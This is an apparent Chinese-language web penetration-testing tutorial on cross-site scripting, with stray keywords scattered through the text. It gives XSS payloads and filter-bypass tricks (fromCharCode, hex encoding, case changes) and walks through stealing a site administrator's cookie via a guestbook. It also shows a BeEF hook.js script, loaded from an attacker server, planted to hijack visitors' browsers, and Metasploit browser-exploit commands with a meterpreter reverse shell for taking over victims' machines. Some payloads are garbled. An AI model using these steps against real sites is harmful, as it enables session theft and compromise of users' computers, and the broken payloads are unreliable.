Web滲透測試(xss漏洞)

Xss介紹——javascript

XSS (cross-site script) 跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評爲十大安全漏洞中的第二威脅漏洞。也有黑客把XSS當作新型的「緩衝區溢出攻擊」而JavaScript是新型的shellcode20116月份,新浪微博爆發了XSS蠕蟲攻擊,僅持續16分鐘,感染用戶近33000個,危害十分嚴重。XSS最大的特色就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。php

因爲web應用程序對用戶的輸入過濾不嚴產生的。攻擊者利用網站漏把惡意的腳本代碼注入到網頁中,當用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能採用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段。html

 

危害——
網絡釣魚,包括盜取各種的用戶帳號
竊取用戶cookie
竊取用戶瀏覽請回話
強制彈出廣告頁面、刷流量
網頁掛馬
提高用戶權限,進一步滲透網站
傳播跨站腳本蠕蟲等等java

 

 

Xss腳本示例——web

<html>shell

<head >xsx test </head >windows

<body>瀏覽器

<script>alert(「xss」)</script >安全

</body>服務器

</html>

這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息,使用xss彈出惡意警告框,代碼爲:

escript>alert(「xss") </script>

XSS輸入也多是htm代碼段,若是使網頁不停的刷新,代碼爲

<meta http-equiv=」refresh」 content ="0;」 >

嵌入其餘網站連接的代碼爲:

< ifame src http://xxxxx.com width =0 height =0> </ifame>

 

 

Xss分類——

反射型xss(一次性)

 

存儲型xss(持久有效)

反射型:

反射型XSS腳本也稱做非持久型、參數型跨站腳本、這類型的腳本是最多見的也是使用最爲普遍的一種,主要用於將惡意的腳本附加到URL地址的參數中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>通常使用的將構造好的URL發給受害者,是受害者點擊觸發,並且只執行一次。

 

存儲型:

存儲型XSS比反射型跨站腳本更具威脅性,而且可能影響到web服務器的自身安全。此類XSS不須要用戶點擊特定的URL就能執行腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到有漏洞服務器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。

 

 

Xss經常使用工具——(火狐插件)

Hackebar

Live http headers

Editor cookie

 

Live HTTP Headers

該工具能夠用來抓取http/https的數據鏈接包括get post),獲取web應用程序流出的流入的數據。咱們能夠利用該工具發掘web應用程序中的安全漏洞。

 

Editor cookie

Cookie信息修改器

 

 

 

 

示例:

留言板盜取cookie信息

 

 

當管理審覈後,彈出及有xss漏洞

 

 

去註冊一個免費xss平臺,而後建立一個項目,查看代碼,複製到留言板上

 

而後xss免費平臺就會返回內容

 

 

這個就是網站管理員cookie

 

 

繞過xss限制的幾種辦法

magic_quote_gpc

HEX編碼

改變大小寫

關閉標籤

 

繞過magic_quote_gpc

magic_quotes_gpc=ONphp中的安全設置,開啓後會把一些特殊字符進行輪換,好比’(

引號)轉換爲\’」(引號)號轉換爲\」 \轉換爲\\

好比<script> alert(「xss」);</script>會轉換爲<script> alert(\」xss\」);</script>這樣XSS就不生效了。針對開啓了magic quotes_gpc的網站,能夠經過javascript中的String.fromCharCode方法來繞過,能夠把alert(「XSS")轉換爲String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那麼XSS語句就變成了<script>String.fromCharCode(108,101,114,11640,34,88,83,83,34.,41,59) </script>String.fromCharCode()javascri中的字符申方法,用來 把ASCI轉換爲字符審

 

HEX編碼:

能夠對語句進行hex編碼來繞過XSS規則。

好比: <script> alert("xss");</script >

能夠轉換爲:

%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6

在線網站:

http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

http://www.asciitohex.com/

 

改變大小寫:

在測試過程當中,咱們能夠改變測試語句的大小來繞過xss規則,如<script> alert("xss");</script >能夠轉換爲<ScRipt> Alert("Xss");</sCripT >

 

關閉標籤:

<body><script> alert(「xss」);</script> < >

 

 

 

 

XSS+Beef的使用

示例1:利用beef劫持客戶端瀏覽器

啓動beef(用戶名beef,密碼beef

<script src="http://本身管理的服務器ip:3000/hook.js"></script>把這惡意代碼上傳到有xss漏洞的網站

 

 

當有人訪問這個網站的時候,惡意代碼生效,咱們返回本機beef控制檯查看上線客戶機

 

 

而後劫持瀏覽器

 

 

 

 

示例2.利用beef+msf拿用戶shell(基於客戶端ie6

先劫持瀏覽器,而後啓動msf

msf > use exploit/windows/browser/ms10_002_aurora(選擇漏洞模塊)

msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(選擇回鏈)

msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156客戶機訪問的地址

msf exploit(ms10_002_aurora) > set SRVPORT 7777客戶機訪問的端口

msf exploit(ms10_002_aurora) > set URIPATH /網頁的根/

msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100客戶機回鏈,寫本身的地址

msf exploit(ms10_002_aurora) > set LPORT 4444回鏈端口

msf exploit(ms10_002_aurora) > exploit 開始攻擊

msf生成的那個鏈接扔beef去,讓客戶端訪問指定的網站就會觸發這個漏洞,就能夠拿到客戶端權限。

 

 

回車》鍵入sessions -i sessions -i 1shell(成功拿到客戶端權限)

 

 

 

示例3.利用beef+msf拿用戶shell(基於客戶端使用ie789

先劫持瀏覽器

msf > use exploit/windows/browser/ie_execcommand_uaf

msf exploit(ie_execcommand_uaf) > show options

msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156

msf exploit(ie_execcommand_uaf) > set SRVPORT 8888

msf exploit(ie_execcommand_uaf) > set URIPATH /

msf exploit(ie_execcommand_uaf) > exploit

而後把生成的這個鏈接扔beef裏,讓客戶端訪問,msf就有返回回鏈會話,就能夠拿到客戶端權限了

 

 

Xss漏洞掃描與留長期後門——

經常使用工具:

Wvs

Safe3

W3af

Vega

Xss掃描插件+burp(去下載掃描插件在導入就能夠)

相關文章
相關標籤/搜索